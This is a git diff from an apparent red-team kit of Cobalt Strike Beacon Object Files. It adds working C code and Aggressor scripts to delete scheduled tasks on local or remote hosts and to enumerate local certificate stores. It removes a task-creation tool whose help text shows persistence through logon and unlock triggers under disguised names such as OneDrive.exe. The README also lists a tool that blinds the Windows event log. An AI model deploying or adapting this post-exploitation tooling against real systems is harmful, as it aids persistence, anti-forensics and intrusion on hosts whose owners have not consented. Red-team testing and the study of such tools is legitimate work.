+        //MSVCRT$printf("Failed to create ITaskService: %x\n", hr); //DEBUG
+        OLE32$CoUninitialize();
+        return actionResult;
+    }
+	
+	VARIANT Vhost;
+	VARIANT VNull;
+	OLEAUT32$VariantInit(&Vhost);
+	OLEAUT32$VariantInit(&VNull);
+	Vhost.vt = VT_BSTR;
+	Vhost.bstrVal = OLEAUT32$SysAllocString(host);
+	
+	hr = pTaskService->lpVtbl->Connect(pTaskService, Vhost, VNull, VNull, VNull); 
+    if (FAILED(hr)) {
+        //MSVCRT$printf("ITaskService::Connect failed: %x\n", hr); //DEBUG
+        pTaskService->lpVtbl->Release(pTaskService);
+        OLE32$CoUninitialize();
+        return actionResult;
+    }
+	
+	ITaskFolder* pTaskFolder = NULL;
+	BSTR folderPathBstr = OLEAUT32$SysAllocString(L"\\");
+	hr = pTaskService->lpVtbl->GetFolder(pTaskService, folderPathBstr, &pTaskFolder);
+	if (FAILED(hr)) {
+		//MSVCRT$printf("ITaskService::GetFolder failed: %x\n", hr); //DEBUG
+		pTaskService->lpVtbl->Release(pTaskService);
+		OLE32$CoUninitialize();
+		OLEAUT32$SysFreeString(folderPathBstr);
+		return actionResult;
+	}
+	OLEAUT32$SysFreeString(folderPathBstr);
+
+    hr = pTaskFolder->lpVtbl->DeleteTask(pTaskFolder, taskName, 0);
+	
+	if (FAILED(hr)) {
+        BeaconPrintf(CALLBACK_ERROR, "Failed to delete the scheduled task with error code: %x\n", hr);
+    } else {
+        BeaconPrintf(CALLBACK_OUTPUT, "[+] Scheduled task '%ls' deleted successfully!\n", taskName);
+        actionResult = TRUE;
+    }
+
+    pTaskFolder->lpVtbl->Release(pTaskFolder);
+	pTaskService->lpVtbl->Release(pTaskService);
+	
+	OLEAUT32$VariantClear(&Vhost);
+	OLEAUT32$VariantClear(&VNull);
+	OLE32$CoUninitialize();
+
+    return actionResult;
+}
+
+
+int go(char *args, int len) {
+	BOOL res = NULL;
+	datap parser;
+	
+    WCHAR *taskName; 
+	WCHAR *hostName = L""; 
+	
+	BeaconDataParse(&parser, args, len);
+	taskName = BeaconDataExtract(&parser, NULL);
+	hostName = BeaconDataExtract(&parser, NULL);
+	
+	res = DeleteScheduledTask(taskName, hostName);
+	
+	return 0;
+}
+
+

+ 35 - 0
KIT/DelTaskScheduler/deltaskscheduler.cna

@@ -0,0 +1,35 @@
+# author REDMED-X
+
+beacon_command_register(
+	"deltaskscheduler", "Delete a scheduled task (local and remote support).",
+	"INFO:\nDelete a scheduled task on the current system or a remote host.\n\n" .
+	"ARGUMENTS:\n[taskName]: The name of the scheduled task.\n[hostName]: The FQDN of the remote host or leave empty for the current system.\n\n" .
+	"USAGE:\ndeltaskscheduler <taskName> <(optional) hostName>\n\n" .
+	"EXAMPLES:\ndeltaskscheduler TestTask\ndeltaskscheduler TestTask DB01.example.local\n\n");
+	
+alias deltaskscheduler {
+    $bid = $1;
+	$taskName = $2; 
+	$host = $3; 
+
+	# Verify user input
+	if ($taskName eq "") {
+		berror($bid, "Please specify the name of the scheduled task that you want to delete.\n");
+		return;
+	}
+		
+    # Read in the right BOF file
+    $handle = openf(script_resource("deltaskscheduler.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "ZZ", $taskName, $host);
+    blog($bid, "Tasked to delete scheduled task..");
+
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+
+}
+
+
+

+ 16 - 0
KIT/DelTaskScheduler/deltaskscheduler.h

@@ -0,0 +1,16 @@
+#include <windows.h>  
+
+//CreateScheduledTask
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
+DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
+WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *);
+WINBASEAPI void WINAPI OLEAUT32$SysFreeString(BSTR);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t* str1, const wchar_t* str2);
+
+
+

BIN
KIT/DelTaskScheduler/deltaskscheduler.o


+ 17 - 0
KIT/EnumLocalCert/README.md

@@ -0,0 +1,17 @@
+# EnumLocalCert
+List all local computer certificates from a specific store. Common store names are: ROOT, MY, TRUST, CA, USERDS, AuthRoot, Disallowed.
+
+## Arguments
+* `<store name>`: the name of the certificate store.
+
+## Usage
+* `enumlocalcert <store name>`
+
+## Example
+* `enumlocalcert ROOT`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/EnumLocalCert/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/EnumLocalCert/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumlocalcert.c
+move /y enumlocalcert.obj enumlocalcert.o
+
+

+ 244 - 0
KIT/EnumLocalCert/enumlocalcert.c

@@ -0,0 +1,244 @@
+#include <windows.h>
+#include <wincrypt.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "enumlocalcert.h"
+#include "beacon.h"
+
+#pragma comment(lib, "Crypt32.lib")
+#pragma comment(lib, "Advapi32.lib")
+
+
+//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+	}
+
+CleanUp:
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); 
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+	return;
+}
+
+
+void replace_wchar(LPWSTR str, wchar_t old_char, wchar_t new_char) {
+    for (size_t i = 0; str[i] != L'\0'; i++) {
+        if (str[i] == old_char) {
+            str[i] = new_char;
+        }
+    }
+}
+
+
+
+BOOL printCertProperties(PCCERT_CONTEXT pCertContext) {
+    LPWSTR pszName = NULL;
+    DWORD dwSize;
+	BYTE thumbprint[20];
+	DWORD thumbprintSize = sizeof(thumbprint);
+	WCHAR thumbprintStr[41];
+
+    // Get the "Issued By" property
+    if (!CRYPT32$CertGetNameStringW(pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, NULL, 0)) return FALSE;
+
+    dwSize = CRYPT32$CertGetNameStringW(pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, NULL, 0);
+    pszName = (LPWSTR)KERNEL32$LocalAlloc(LPTR, dwSize * sizeof(wchar_t));
+    if (!pszName) return FALSE;
+
+    if (!CRYPT32$CertGetNameStringW(pCertContext, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, NULL, pszName, dwSize)) return FALSE;
+
+    BeaconPrintToStreamW(L"\nIssued By: %s\n", pszName);
+    KERNEL32$LocalFree(pszName);
+	
+	// Get the "Thumbprint" property
+	if (CRYPT32$CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, thumbprint, &thumbprintSize)) {
+		for (DWORD i = 0; i < thumbprintSize; ++i) {
+			MSVCRT$_snwprintf_s(thumbprintStr + (i * 2), 3, 2, L"%02X", thumbprint[i]);
+		}
+		thumbprintStr[40] = L'\0';
+		BeaconPrintToStreamW(L"Thumbprint: %s\n", thumbprintStr);
+	}
+	else {
+		BeaconPrintToStreamW(L"Failed to get thumbprint.\n");
+	}
+
+	// Get the "Friendly Name" property
+	dwSize = 0;
+	dwSize = CRYPT32$CertGetNameStringW(pCertContext, CERT_NAME_FRIENDLY_DISPLAY_TYPE, 0, NULL, NULL, 0);
+	if (dwSize == 1) { 
+		BeaconPrintToStreamW(L"Friendly Name: none\n");
+	}
+	else
+	{
+		pszName = (LPWSTR)KERNEL32$LocalAlloc(LPTR, dwSize * sizeof(wchar_t));
+		if (!pszName) return FALSE;
+		if (!CRYPT32$CertGetNameStringW(pCertContext, CERT_NAME_FRIENDLY_DISPLAY_TYPE, 0, NULL, pszName, dwSize)) return FALSE;
+
+		replace_wchar(pszName, L'\x2013', L'-');
+		BeaconPrintToStreamW(L"Friendly Name: %ls\n", pszName);
+		
+		KERNEL32$LocalFree(pszName);
+	}
+	
+
+	// Get the "Expiration Date" property
+	SYSTEMTIME stExpirationDate;
+	KERNEL32$FileTimeToSystemTime(&pCertContext->pCertInfo->NotAfter, &stExpirationDate);
+
+	WCHAR szExpirationDate[256];
+	KERNEL32$GetDateFormatW(LOCALE_USER_DEFAULT, 0, &stExpirationDate, L"yyyy-MM-dd", szExpirationDate, sizeof(szExpirationDate) / sizeof(WCHAR));
+	BeaconPrintToStreamW(L"Expiration Date: %s\n", szExpirationDate);
+
+	
+	// Get the "Intended Purposes" property
+	PCERT_ENHKEY_USAGE pUsage = NULL;
+	DWORD dwUsageSize = 0;
+	if (!CRYPT32$CertGetEnhancedKeyUsage(pCertContext, 0, NULL, &dwUsageSize)) return FALSE;
+
+	pUsage = (PCERT_ENHKEY_USAGE)KERNEL32$LocalAlloc(LPTR, dwUsageSize);
+	if (!pUsage) return FALSE;
+
+	if (!CRYPT32$CertGetEnhancedKeyUsage(pCertContext, 0, pUsage, &dwUsageSize)) return FALSE;
+
+	BeaconPrintToStreamW(L"Intended Purposes:\n");
+	for (DWORD i = 0; i < pUsage->cUsageIdentifier; ++i)
+	{
+		LPCSTR pszOID = pUsage->rgpszUsageIdentifier[i];
+		PCCRYPT_OID_INFO pInfo = CRYPT32$CryptFindOIDInfo(CRYPT_OID_INFO_OID_KEY, (void*)pszOID, 0);
+		if (pInfo)
+		{
+			BeaconPrintToStreamW(L"  - %s (%S)\n", pInfo->pwszName, pszOID);
+		}
+		else
+		{
+			BeaconPrintToStreamW(L"  - Unknown OID: %S\n", pszOID);
+		}
+	}
+	KERNEL32$LocalFree(pUsage);
+	
+	
+	BeaconPrintToStreamW(L"\n");
+	return TRUE;
+}
+
+
+
+int go(char *args, int len) {
+	BOOL res = NULL;
+	WCHAR *store; // Options: ROOT, MY, TRUST, CA, USERDS, AuthRoot, Disallowed
+	HCERTSTORE hStore = NULL;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	store = BeaconDataExtract(&parser, NULL);
+	
+	// Open Local Computer store
+	hStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, (HCRYPTPROV)NULL, CERT_SYSTEM_STORE_LOCAL_MACHINE | CERT_STORE_OPEN_EXISTING_FLAG, store); 
+	if (!hStore) {
+		BeaconPrintf(CALLBACK_ERROR, "Failed to open specified certificate store\n");
+		return 1;
+	}
+
+
+	PCCERT_CONTEXT pCertContext = NULL;
+	while (pCertContext = CRYPT32$CertEnumCertificatesInStore(hStore, pCertContext)) {
+			res = printCertProperties(pCertContext);
+		}
+	
+	if(!res) {
+		BeaconPrintf(CALLBACK_ERROR, "Failed to list certificates in specified store.\n");
+		return 0;
+	}
+	else  {
+		BeaconOutputStreamW();
+		BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
+	}
+	
+	if (pCertContext) CRYPT32$CertFreeCertificateContext(pCertContext);
+	if (hStore) CRYPT32$CertCloseStore(hStore, 0);
+
+	return 0;
+}
+	
+	
+	
+	

+ 30 - 0
KIT/EnumLocalCert/enumlocalcert.cna

@@ -0,0 +1,30 @@
+# author REDMED-X
+
+beacon_command_register(
+	"enumlocalcert", "List all the stored local computer certificates from a specific store.",
+	"INFO:\nList all the stored local computer certificates from a specific store. Common store names are: ROOT, MY, TRUST, CA, USERDS, AuthRoot, Disallowed.\n\n" .
+	"ARGUMENTS:\n[<store name>]: the name of the certificate store.\n\n" .
+	"USAGE:\nenumlocalcert <store name>\n\n" .
+	"EXAMPLES:\nenumlocalcert ROOT\n\n");
+	
+alias enumlocalcert {
+    $bid = $1;
+    $store = $2;
+
+	if ($store eq "") {
+		berror($bid, "Please specify a valid local computer certificate store name like ROOT.\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumlocalcert.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "Z", $store);
+
+	blog($bid, "Tasked to list certificates from the local computer store..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+

+ 39 - 0
KIT/EnumLocalCert/enumlocalcert.h

@@ -0,0 +1,39 @@
+#include <windows.h>  
+
+//printCertProperties
+DECLSPEC_IMPORT DWORD WINAPI CRYPT32$CertGetNameStringW(PCCERT_CONTEXT pCertContext, DWORD dwType, DWORD dwFlags, void *pvTypePara, LPWSTR pszNameString, DWORD cchNameString);
+DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags, SIZE_T uBytes);
+DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FileTimeToSystemTime(const FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime);
+DECLSPEC_IMPORT int WINAPI KERNEL32$GetDateFormatW(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertGetEnhancedKeyUsage(PCCERT_CONTEXT pCertContext, DWORD dwFlags, PCERT_ENHKEY_USAGE pUsage, DWORD *pcbUsage);
+DECLSPEC_IMPORT PCCRYPT_OID_INFO WINAPI CRYPT32$CryptFindOIDInfo(DWORD dwKeyType, void *pvKey, DWORD dwGroupId);
+DECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$CertOpenSystemStoreW(HCRYPTPROV hProv, LPCWSTR szSubsystemProtocol);
+DECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$CertOpenStore(LPCWSTR lpszStoreProvider, DWORD dwEncodingType, HCRYPTPROV hCryptProv, DWORD dwFlags, const void *pvPara);
+DECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$CertEnumCertificatesInStore(HCERTSTORE hCertStore, PCCERT_CONTEXT pPrevCertContext);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertFreeCertificateContext(PCCERT_CONTEXT pCertContext);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertCloseStore(HCERTSTORE hCertStore, DWORD dwFlags);
+WINBASEAPI int __cdecl MSVCRT$wprintf(const wchar_t * _Format, ...);
+
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertGetCertificateContextProperty(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData); //TEST
+WINBASEAPI int __cdecl MSVCRT$_snwprintf_s(wchar_t * _DstBuf, size_t _DstSize, size_t _MaxCount, const wchar_t * _Format, ...);
+
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+
+

BIN
KIT/EnumLocalCert/enumlocalcert.o


+ 0 - 5
KIT/TaskScheduler/bofcompile.bat

@@ -1,5 +0,0 @@
-@ECHO OFF
-
-cl.exe /nologo /c /Od /MT /W0 /GS- /Tc taskscheduler.c
-move /y taskscheduler.obj taskscheduler.o
-

+ 0 - 113
KIT/TaskScheduler/taskscheduler.cna

@@ -1,113 +0,0 @@
-# author REDMED-X
-
-beacon_command_register(
-	"taskscheduler", "Create or delete a scheduled task (local and remote support).",
-	"INFO:\nCreate or delete a scheduled task on the current system or a remote host.\n\n" .
-	"BASIC ARGUMENTS:\n[create]: Indicate that you want to create a new scheduled task.\n[delete]: Indicate that you want to delete an existing scheduled task.\n[taskName]: The name of the scheduled task.\n[hostName]: The FQDN of the remote host or \"\" for the current system.\n[programPath]: Path to the program that you want to run like: C:\\Windows\\System32\\cmd.exe.\n[programArguments]: Arguments that you want to pass to the program like: \"/c C:\\Windows\\System32\\calc.exe\" or \"\" to leave it empty.\n[triggerType]: The trigger that signals the execution like: onetime, daily, logon, startup, lock, unlock. For more information, check the TRIGGER OPTIONS below.\n\n" .
-	"TRIGGER OPTIONS:\n[onetime]: Create task with trigger \"On a schedule one time\".\n[daily]: Create task with trigger \"On a schedule daily.\"\n[logon]: Create task with trigger \"At log on\" (requires admin privs if set for another user or all users).\n[startup]: Create task with trigger \"At startup\" (requires admin privs).\n[lock]: Create task with trigger \"On workstation lock\" (requires admin privs if set for another user or all users).\n[unlock]: Create task with trigger \"On workstation unlock\" (requires admin privs if set for another user or all users).\n\n" .
-	"TRIGGER SPECIFIC ARGUMENTS:\n[startTime]: Start time of the trigger in format: 2023-03-24T12:08:00.\n[expireTime]: Expiration time of the trigger in format: 2023-03-24T12:08:00.\n[daysInterval]: Interval in number of days. For example: 1 or 3.\n[delay]: Random time delay after the start time in which the trigger is hit. Use format \"PT2H\" for hours and \"PT15M\" for minutes.\n[userID]: Specify the user for which the trigger is set in format: \"DOMAIN\\username\" for domain users, \"username\" for local system users and \"\" for all users (requires admin privs if set for another user or all users).\n\n" .
-	"USAGE:\ntaskscheduler create <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" onetime <startTime>\ntaskscheduler create <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" daily <startTime> <(optional) expireTime> <(optional) daysInterval> <(optional) delay>\ntaskscheduler create <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" logon <(optional) userID>\ntaskscheduler create <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" startup <(optional) delay>\ntaskscheduler create <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" lock <(optional) userID> <(optional) delay>\ntaskscheduler create <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" unlock <(optional) userID> <(optional) delay>\ntaskscheduler delete <taskName> <(optional) hostName>\n\n" .
-	"EXAMPLES:\ntaskscheduler create TestTask \"\" C:\\Windows\\System32\\cmd.exe \"/c C:\\Windows\\System32\\calc.exe\" daily 2023-03-24T12:08:00 2023-03-28T12:14:00 1 PT2H\ntaskscheduler create NewTask DB01.example.local C:\\Users\\Public\\Downloads\\legit.exe \"\" logon Testdomain\\Administrator\ntaskscheduler create OneDrive \"\" C:\\Data\\OneDrive.exe \"\" unlock \"\" PT5M\ntaskscheduler delete TestTask DB01.example.local\n\n");
-	
-alias taskscheduler {
-    $bid = $1;
-    $action = $2;
-	$taskName = $3; 
-	$host = $4; 
-    $programPath = $5;
-    $programArguments = $6;
-	$triggerType = $7; 
-	$optionalArg1 = $8;
-	$optionalArg2 = $9;
-	$optionalArg3 = $10;
-	$optionalArg4 = $11;
-
-
-	# Verify user input
-	if ($action eq "create" || $action eq "delete") {
-		if($action eq "delete") {
-			if ($taskName eq "") {
-				berror($bid, "Please specify the name of the scheduled task that you want to delete.\n");
-				return;
-			}
-		}
-		if($action eq "create") {
-		
-			if ($taskName eq "") {
-				berror($bid, "Please specify a name for the new scheduled task.\n");
-				return;
-			}
-			
-			if ($programPath eq "") {
-				berror($bid, "Please specify the path to the program that you want to run\n");
-				return;
-			}
-			
-			if ($triggerType eq "") {
-				berror($bid, "Please specify one of the following trigger options: onetime | daily | logon | startup | lock | unlock\n");
-				return;
-			}
-			
-			if ($triggerType eq "onetime" || $triggerType eq "daily" || $triggerType eq "logon" || $triggerType eq "startup" || $triggerType eq "lock" || $triggerType eq "unlock") {
-				if ($triggerType eq "onetime") {
-					if ($optionalArg1 eq "") {
-						berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
-						return;
-					}
-				}
-				if ($triggerType eq "daily") {
-					if ($optionalArg1 eq "") {
-						berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
-						return;
-					}
-				}
-			}
-			else {
-				berror($bid, "This trigger option is not supported. Please select one of the following options: onetime | daily | logon | startup | lock | unlock\n");
-				return;
-			}
-		}
-	}
-	else {
-		berror($bid, "Please specify one of the following options: create | delete\n");
-		return;
-	}
-	
-    # Read in the right BOF file
-    $handle = openf(script_resource("taskscheduler.o"));
-    $data   = readb($handle, -1);
-    closef($handle);
-
-	# Pack our arguments
-	if ($action eq "delete") {
-       $arg_data  = bof_pack($bid, "zZZ", $action, $taskName, $host);
-	   blog($bid, "Tasked to delete scheduled task..");
-    }
-	else {
-		blog($bid, "Tasked to create scheduled task..");
-		if ($triggerType eq "onetime") {
-			$arg_data  = bof_pack($bid, "zZZZZzZ", $action, $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
-		}
-		if ($triggerType eq "daily") {
-			$arg_data  = bof_pack($bid, "zZZZZzZZiZ", $action, $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2, $optionalArg3, $optionalArg4);
-		}
-		if ($triggerType eq "logon") {
-			$arg_data  = bof_pack($bid, "zZZZZzZ", $action, $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
-		}
-		if ($triggerType eq "startup") {
-			$arg_data  = bof_pack($bid, "zZZZZzZ", $action, $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
-		}
-		if ($triggerType eq "lock") {
-			$arg_data  = bof_pack($bid, "zZZZZzZZ", $action, $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
-		}
-		if ($triggerType eq "unlock") {
-			$arg_data  = bof_pack($bid, "zZZZZzZZ", $action, $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
-		}
-	}
-	
-    beacon_inline_execute($bid, $data, "go", $arg_data);
-
-}
-
-
-

BIN
KIT/TaskScheduler/taskscheduler.o


+ 5 - 0
README.md

@@ -6,8 +6,13 @@ The following tools are currently in the operators' kit:
 
 |Name|Decription|
 |----|----------|
+|**[AddTaskScheduler](KIT/AddLocalCert)**|Add a (self signed) certificate to a specific local computer certificate store.|
+|**[AddTaskScheduler](KIT/AddTaskScheduler)**|Create a scheduled task on the current- or remote host.|
 |**[BlindEventlog](KIT/BlindEventlog)**|Blind Eventlog by suspending its threads.|
+|**[DelLocalCert](KIT/DelLocalCert)**|Delete a local computer certificate from a specific store.|
